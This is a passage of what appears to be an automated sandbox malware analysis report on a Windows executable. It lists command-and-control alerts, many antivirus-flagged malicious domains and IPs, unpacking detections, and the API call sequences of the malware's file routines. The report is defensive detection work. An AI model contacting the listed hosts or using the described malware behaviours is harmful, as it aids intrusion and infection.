2024-11-11T18:13:48.299048+010028048521Malware Command and Control Activity Detected192.168.2.659139199.191.50.8380TCP
2024-11-11T18:13:48.356584+010028048521Malware Command and Control Activity Detected192.168.2.659146188.114.97.380TCP
2024-11-11T18:13:48.550901+010028048521Malware Command and Control Activity Detected192.168.2.659147154.212.231.8280TCP
2024-11-11T18:13:50.233855+010028048521Malware Command and Control Activity Detected192.168.2.65915385.17.31.8280TCP
2024-11-11T18:13:50.251240+010028048521Malware Command and Control Activity Detected192.168.2.659155199.59.243.22780TCP
2024-11-11T18:13:50.256494+010028048521Malware Command and Control Activity Detected192.168.2.65915675.2.71.19980TCP
2024-11-11T18:13:50.418151+010028048521Malware Command and Control Activity Detected192.168.2.65915944.221.84.10580TCP
2024-11-11T18:13:50.418617+010028048521Malware Command and Control Activity Detected192.168.2.6591613.94.10.3480TCP
2024-11-11T18:13:50.502916+010028048521Malware Command and Control Activity Detected192.168.2.659154188.114.97.380TCP
2024-11-11T18:13:51.433347+010028048521Malware Command and Control Activity Detected192.168.2.659157199.191.50.8380TCP
2024-11-11T18:13:55.167613+010028048521Malware Command and Control Activity Detected192.168.2.65917318.208.156.24880TCP
2024-11-11T18:13:56.506333+010028048521Malware Command and Control Activity Detected192.168.2.65918175.2.71.19980TCP
2024-11-11T18:14:01.034668+010028048521Malware Command and Control Activity Detected192.168.2.65623523.253.46.6480TCP
2024-11-11T18:14:01.034718+010028048521Malware Command and Control Activity Detected192.168.2.65917944.221.84.10580TCP
2024-11-11T18:14:01.034785+010028048521Malware Command and Control Activity Detected192.168.2.656241154.212.231.8280TCP
2024-11-11T18:14:01.034858+010028048521Malware Command and Control Activity Detected192.168.2.659180188.114.97.380TCP
2024-11-11T18:14:01.034877+010028048521Malware Command and Control Activity Detected192.168.2.65917844.221.84.10580TCP
2024-11-11T18:14:01.034911+010028048521Malware Command and Control Activity Detected192.168.2.6562393.94.10.3480TCP
2024-11-11T18:14:01.034931+010028048521Malware Command and Control Activity Detected192.168.2.656236199.59.243.22780TCP
2024-11-11T18:14:01.034999+010028048521Malware Command and Control Activity Detected192.168.2.656237208.100.26.24580TCP
2024-11-11T18:14:01.035022+010028048521Malware Command and Control Activity Detected192.168.2.656238199.191.50.8380TCP
2024-11-11T18:14:01.035083+010028048521Malware Command and Control Activity Detected192.168.2.65624018.208.156.24880TCP
2024-11-11T18:14:52.861243+010028048521Malware Command and Control Activity Detected192.168.2.664560162.255.119.10280TCP
2024-11-11T18:14:53.017386+010028048521Malware Command and Control Activity Detected192.168.2.664563208.100.26.24580TCP
2024-11-11T18:14:53.018805+010028048521Malware Command and Control Activity Detected192.168.2.66456475.2.71.19980TCP
2024-11-11T18:14:53.430822+010028048521Malware Command and Control Activity Detected192.168.2.66456544.221.84.10580TCP
2024-11-11T18:14:53.430947+010028048521Malware Command and Control Activity Detected192.168.2.664563208.100.26.24580TCP
2024-11-11T18:14:53.431060+010028048521Malware Command and Control Activity Detected192.168.2.664562188.114.97.380TCP
2024-11-11T18:14:53.431330+010028048521Malware Command and Control Activity Detected192.168.2.664567199.59.243.22780TCP
2024-11-11T18:14:53.431341+010028048521Malware Command and Control Activity Detected192.168.2.6645693.94.10.3480TCP
2024-11-11T18:14:53.431341+010028048521Malware Command and Control Activity Detected192.168.2.66457018.208.156.24880TCP
2024-11-11T18:14:53.431383+010028048521Malware Command and Control Activity Detected192.168.2.66456844.221.84.10580TCP
2024-11-11T18:14:53.668671+010028048521Malware Command and Control Activity Detected192.168.2.66457291.195.240.1980TCP
2024-11-11T18:14:53.706698+010028048521Malware Command and Control Activity Detected192.168.2.664566154.212.231.8280TCP
2024-11-11T18:14:53.962120+010028048521Malware Command and Control Activity Detected192.168.2.66457375.2.71.199443TCP
2024-11-11T18:14:54.081011+010028048521Malware Command and Control Activity Detected192.168.2.664566154.212.231.8280TCP
2024-11-11T18:14:55.015481+010028048521Malware Command and Control Activity Detected192.168.2.664571199.191.50.8380TCP
2024-11-11T18:14:55.048956+010028048521Malware Command and Control Activity Detected192.168.2.664574188.114.97.3443TCP
2024-11-11T18:14:55.488395+010028048521Malware Command and Control Activity Detected192.168.2.6645615.79.71.20580TCP
2024-11-11T18:14:55.488590+010028048521Malware Command and Control Activity Detected192.168.2.664575188.114.97.380TCP
2024-11-11T18:14:59.550793+010028048521Malware Command and Control Activity Detected192.168.2.6645765.79.71.20580TCP
2024-11-11T18:15:00.260759+010028048521Malware Command and Control Activity Detected192.168.2.66457713.248.169.4880TCP
2024-11-11T18:15:00.565021+010028048521Malware Command and Control Activity Detected192.168.2.6645793.94.10.3480TCP
2024-11-11T18:15:00.697014+010028048521Malware Command and Control Activity Detected192.168.2.66458018.208.156.24880TCP
2024-11-11T18:15:00.725808+010028048521Malware Command and Control Activity Detected192.168.2.664578188.114.96.380TCP
2024-11-11T18:15:01.185431+010028048521Malware Command and Control Activity Detected192.168.2.664581103.150.10.4880TCP
2024-11-11T18:15:03.585249+010028048521Malware Command and Control Activity Detected192.168.2.664584103.150.10.4880TCP
2024-11-11T18:15:04.331530+010028048521Malware Command and Control Activity Detected192.168.2.664582188.114.96.3443TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: Bpfz752pYZ.exeAvira: detected
Antivirus detection for URL or domain
Source: http://puzylyp.com/login.phpAvira URL Cloud: Label: malware
Source: http://vofybic.com/login.phpAvira URL Cloud: Label: malware
Source: http://volyjym.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyryxen.com/login.phpAvira URL Cloud: Label: malware
Source: http://vojyzyt.com/login.phpAvira URL Cloud: Label: malware
Source: http://purymuq.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyxyvyn.com/login.phpAvira URL Cloud: Label: malware
Source: http://vojyjyc.com/login.phpAvira URL Cloud: Label: phishing
Source: http://vopycom.com/login.phpAvira URL Cloud: Label: malware
Source: http://qexynyq.com/login.phpAvira URL Cloud: Label: malware
Source: http://gadykos.com/login.phpAvira URL Cloud: Label: malware
Source: http://qexyfuq.com/login.phpAvira URL Cloud: Label: malware
Source: http://galyvuz.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyryman.com/login.phpAvira URL Cloud: Label: malware
Source: http://vowyrif.com/login.phpAvira URL Cloud: Label: malware
Source: http://lygyxun.com/login.phpAvira URL Cloud: Label: malware
Source: http://ganyzub.com/login.phpAvira URL Cloud: Label: phishing
Source: http://galydyw.com/Avira URL Cloud: Label: malware
Source: http://lyvysur.com/login.phpAvira URL Cloud: Label: malware
Source: http://qekyhil.com/login.phpAvira URL Cloud: Label: malware
Source: http://qexyvoq.com/login.phpAvira URL Cloud: Label: malware
Source: http://galydyw.com/login.phpAvira URL Cloud: Label: malware
Source: http://vofydac.com/login.phpAvira URL Cloud: Label: malware
Source: http://qetyhyg.com/login.phpAvira URL Cloud: Label: phishing
Source: http://qeqykyv.com/HAvira URL Cloud: Label: malware
Source: http://gahyvab.com/login.phpAvira URL Cloud: Label: malware
Source: http://lymyner.com/login.phpAvira URL Cloud: Label: malware
Source: http://ganyhus.com/HAvira URL Cloud: Label: malware
Source: http://lygytyd.com/login.phpAvira URL Cloud: Label: malware
Source: http://pujyteq.com/login.phpAvira URL Cloud: Label: malware
Source: http://pufytip.com/login.phpAvira URL Cloud: Label: malware
Source: http://lysytoj.com/login.phpAvira URL Cloud: Label: malware
Source: http://gatykyh.com/login.phpAvira URL Cloud: Label: malware
Source: http://qedyhyl.com/login.phpAvira URL Cloud: Label: malware
Source: http://pupycuv.com/login.phpAvira URL Cloud: Label: malware
Source: http://pujylog.com/login.phpAvira URL Cloud: Label: malware
Source: http://qetyvil.com/login.phpAvira URL Cloud: Label: malware
Source: http://gadyniw.com/login.phpAvira URL Cloud: Label: malware
Source: http://lysynaj.com/login.phpAvira URL Cloud: Label: malware
Source: http://vopygat.com/login.phpAvira URL Cloud: Label: phishing
Source: http://puzytap.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyxygur.com/login.phpAvira URL Cloud: Label: malware
Source: http://gaqyres.com/login.phpAvira URL Cloud: Label: malware
Source: https://puzylyp.com/login.phpAvira URL Cloud: Label: malware
Source: http://qeqyxyp.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyvynid.com/login.phpAvira URL Cloud: Label: malware
Source: http://qegyfyp.com/login.phpAvira URL Cloud: Label: malware
Source: http://qeqykog.com/login.phpAvira URL Cloud: Label: phishing
Source: http://lysyxar.com/login.phpAvira URL Cloud: Label: malware
Source: http://lygyjuj.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyxygax.com/login.phpAvira URL Cloud: Label: malware
Source: http://qedykiv.com/login.phpAvira URL Cloud: Label: malware
Source: http://pumytup.com/login.phpAvira URL Cloud: Label: malware
Source: http://qedyrag.com/login.phpAvira URL Cloud: Label: malware
Source: http://puzylol.com/login.phpAvira URL Cloud: Label: phishing
Source: http://puvydov.com/login.phpAvira URL Cloud: Label: malware
Source: http://gahyqub.com/login.phpAvira URL Cloud: Label: malware
Source: http://pupywog.com/login.phpAvira URL Cloud: Label: malware
Source: http://pumyxiv.com/login.phpAvira URL Cloud: Label: malware
Source: http://qedyruv.com/login.phpAvira URL Cloud: Label: malware
Source: http://pufyxov.com/login.phpcom/login.phpAvira URL Cloud: Label: phishing
Source: http://volycem.com/login.phpAvira URL Cloud: Label: malware
Source: http://puzyduq.com/login.phpAvira URL Cloud: Label: malware
Source: http://puzydal.com/login.phpAvira URL Cloud: Label: malware
Source: http://galyqaz.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyxysad.com/login.phpAvira URL Cloud: Label: malware
Source: http://gahyzez.com/login.phpAvira URL Cloud: Label: malware
Source: http://vopymyc.com/login.phpAvira URL Cloud: Label: malware
Source: http://puryxag.com/login.phpAvira URL Cloud: Label: malware
Source: http://purywyl.com/login.phpAvira URL Cloud: Label: malware
Source: http://vojycec.com/login.phpAvira URL Cloud: Label: malware
Source: http://gatyfus.com/login.phpAvira URL Cloud: Label: malware
Source: http://pufybyv.com/login.phpAvira URL Cloud: Label: malware
Source: http://ganyfes.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyvyjox.com/login.phpAvira URL Cloud: Label: malware
Source: http://qegytyv.com/login.phpAvira URL Cloud: Label: malware
Source: http://volydot.com/login.phpAvira URL Cloud: Label: phishing
Source: http://galyquw.com/login.phpAvira URL Cloud: Label: malware
Source: http://lykyvod.com/login.phpAvira URL Cloud: Label: malware
Source: http://pujydap.com/login.phpAvira URL Cloud: Label: malware
Source: http://gadyneh.com/login.phpAvira URL Cloud: Label: malware
Source: http://vocydyc.com/login.phpAvira URL Cloud: Label: malware
Source: http://lysyvan.com/login.phpAvira URL Cloud: Label: malware
Source: http://ganyvyw.com/login.phpAvira URL Cloud: Label: malware
Source: http://lyvyxyj.com/login.phpAvira URL Cloud: Label: malware
Source: http://lykywid.com/login.phpAvira URL Cloud: Label: malware
Source: http://qexyhuv.com/login.phpAvira URL Cloud: Label: malware
Source: http://qexylup.com/login.phpAvira URL Cloud: Label: malware
Source: http://pufymyg.com/login.phpAvira URL Cloud: Label: malware
Source: http://pupyteg.com/login.phpAvira URL Cloud: Label: malware
Source: http://qedyfog.com/login.phpAvira URL Cloud: Label: malware
Source: http://vojybef.com/login.phpAvira URL Cloud: Label: malware
Source: http://ganycuh.com/login.phpAvira URL Cloud: Label: malware
Source: http://pufylul.com/login.phpAvira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: Bpfz752pYZ.exeReversingLabs: Detection: 81%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.8% probability
Machine Learning detection for sample
Source: Bpfz752pYZ.exeJoe Sandbox ML: detected

Compliance

barindex
Detected unpacking (creates a PE file in dynamic memory)
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 6.2.NcYLgtXIKJgHj.exe.1740000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 7.2.NcYLgtXIKJgHj.exe.3100000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 10.2.NcYLgtXIKJgHj.exe.1520000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 22.2.NcYLgtXIKJgHj.exe.2340000.2.unpack
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeUnpacked PE file: 34.2.NcYLgtXIKJgHj.exe.2740000.2.unpack
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeUnpacked PE file: 0.2.Bpfz752pYZ.exe.400000.2.unpack
Source: C:\Windows\apppatch\svchost.exeUnpacked PE file: 2.2.svchost.exe.400000.0.unpack
Source: Bpfz752pYZ.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknownHTTPS traffic detected: 99.83.170.3:443 -> 192.168.2.6:58866 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58867 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58868 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58879 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:58899 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63303 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63317 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63420 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:63440 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:63493 version: TLS 1.2
Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.6:63490 version: TLS 1.2
Source: unknownHTTPS traffic detected: 75.2.71.199:443 -> 192.168.2.6:59137 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:59138 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.6:64574 version: TLS 1.2
Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:64582 version: TLS 1.2
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\ganykah.com\??\C:\Program Files (x86)\Windows Defender\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: winsta.pdb source: svchost.exe, 00000002.00000002.3397191515.00000000056A4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernel32.pdb source: svchost.exe, 00000002.00000003.3267668085.00000000086BE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: l\wntdll.pdb source: svchost.exe, 00000002.00000002.3383219866.0000000000812000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wrpcrt4.pdb source: svchost.exe, 00000002.00000003.3343594271.0000000008626000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: l\winsta.pdb source: svchost.exe, 00000002.00000003.3347345159.000000000338D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: svchost.exe, 00000002.00000002.3402753953.00000000086B9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wrpcrt4.pdb( source: svchost.exe, 00000002.00000003.3343594271.0000000008626000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb552 source: Bpfz752pYZ.exe, svchost.exe.0.dr
Source: Binary string: WinSCard.pdb( source: svchost.exe, 00000002.00000002.3398141991.0000000005870000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb source: Bpfz752pYZ.exe, svchost.exe.0.dr
Source: Binary string: C:\Program Files (x86)\Windows Defender\wntdll.pdb\* source: svchost.exe, 00000002.00000002.3404415145.0000000008DFB000.00000004.00000010.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\vojydoc.com\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdb source: svchost.exe, 00000002.00000003.3343091466.00000000086C4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402753953.00000000086C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernelbase.pdb( source: svchost.exe, 00000002.00000003.3343091466.00000000086C4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3402753953.00000000086C4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: NcYLgtXIKJgHj.exe, 00000006.00000002.2551332510.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000007.00000000.2489007381.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000000A.00000002.2560697130.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000000E.00000002.2551302357.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000010.00000002.2531133177.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000014.00000002.2579234014.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2605798630.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000019.00000002.2614419059.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000001C.00000000.2585490628.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000000.2593001652.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000022.00000002.2694069303.00000000005AE000.00000002.00000001.01000000.00000009.sdmp, NcYLgtXIKJgHj.exe, 00000024.00000002.2644364291.00000000005AE000.00000002.00000001.01000000.00000009.sdmp
Source: Binary string: wkernel32.pdb( source: svchost.exe, 00000002.00000003.3267668085.00000000086BE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: WinSCard.pdb source: svchost.exe, 00000002.00000002.3398141991.0000000005870000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: winsta.pdb( source: svchost.exe, 00000002.00000002.3397191515.00000000056A4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb( source: svchost.exe, 00000002.00000002.3402753953.00000000086B9000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C766D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,2_2_02C766D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C97CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,2_2_02C97CE0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8BBE9
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8BB20
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8D0C0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C8D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,IsUserAnAdmin,PathMakeSystemFolderA,SetLastError,SetErrorMode,2_2_02C8D189
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C9BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,2_2_02C9BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175D189
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175D0C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175BB20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0175BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,6_2_0175BBE9
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_01767CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,6_2_01767CE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_0176BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,6_2_0176BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_017466D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,6_2_017466D0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311BB20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311BBE9
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_0311D189 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,7_2_0311D189
